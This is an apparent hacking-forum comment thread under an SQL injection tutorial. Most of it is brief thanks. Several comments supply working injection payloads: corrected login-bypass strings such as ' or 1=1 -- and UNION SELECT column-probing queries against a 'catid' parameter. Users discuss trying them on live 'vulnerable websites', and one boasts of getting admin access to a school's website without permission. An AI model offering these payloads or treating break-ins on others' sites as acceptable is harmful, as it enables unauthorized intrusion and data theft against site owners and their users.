[apexmall]

good tutorial , i like it

[UNU_Hacker]

Good tutorial!
Thanks Brother

[y2gxmod]

most detailed sql injection tut i've seen here at hf . . .
awesome!!! thanks!!!

[Eminent]

Thanks for the tut, I just got in as an admin on my schools website =)

[nirved_g]

what you had given is completely correct but quite outdated also it doesnt work anywhere

[GayFish]

Not bad again. Taught me a few different ways to do things.

[stryke]

Very good tutorial! Thank you.

[GayFish]

I like the "what is SQL injection part :)"

[FaceBookHacker™]

The initial list of "sql injections" that you posted will not work -- syntax errors in each and every one of them (even assuming that the site/field they're injected into is vulnerable).

'or'1'='1 should be ' or '1'='1
'or'x'='x should be ' or 'x'='x (and is identical to the first)
' or 'x'='x'oe--' should be ' or 'x'='x' -- (and is identical to the first and second in nature)
'or'1=1' -- should be ' or 1=1 -- (and is identical to the first, second, and third in nature)
C|EH, ECSA, C|EI, PCI QSA
http://www.halock.com
Halock Security Labs

[Xtr0id]

what if when i put in "order by 1" it still gives error?
does this mean it has no columns?
(same with 0)

[UNU_Hacker]

Nice Tutorial for beginners Brother

[UNU_Hacker]

good tut.. i saw somewhere a vid... try this vid:

Code

http://#.com/files/132125390/sql_injection.wmv

seems exact the same thingy ;p

Link is Dead Brother😠
Try To Upload Another Mirror🙃

[3l.n1n0]

I'm doing as you have described in the tut.
After knowing the number of columns, http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4,5,6,7--
I'm not getting the the columns which are vulnerable to attack. I'm mean the web page is not showing any numbers.
I've tried it on a number of vulnerable websites. The same problem persists. Please help!

[PličkaMaterna]

?catid=1 and 1=0 union all select 1,2,3,4,5,6,7--

?catid=99 union all select 1,2,3,4,5,6,7--

?catid=-1 union all select 1,2,3,4,5,6,7--

and so on.
You need to null

[naitik333]

hey when i put ' after index.php? i get 404 not found error when i am logged into the site.. but when i am not logged on and i am guest.. i don't get any error... so is this site vunlerable????
can this site be hacked???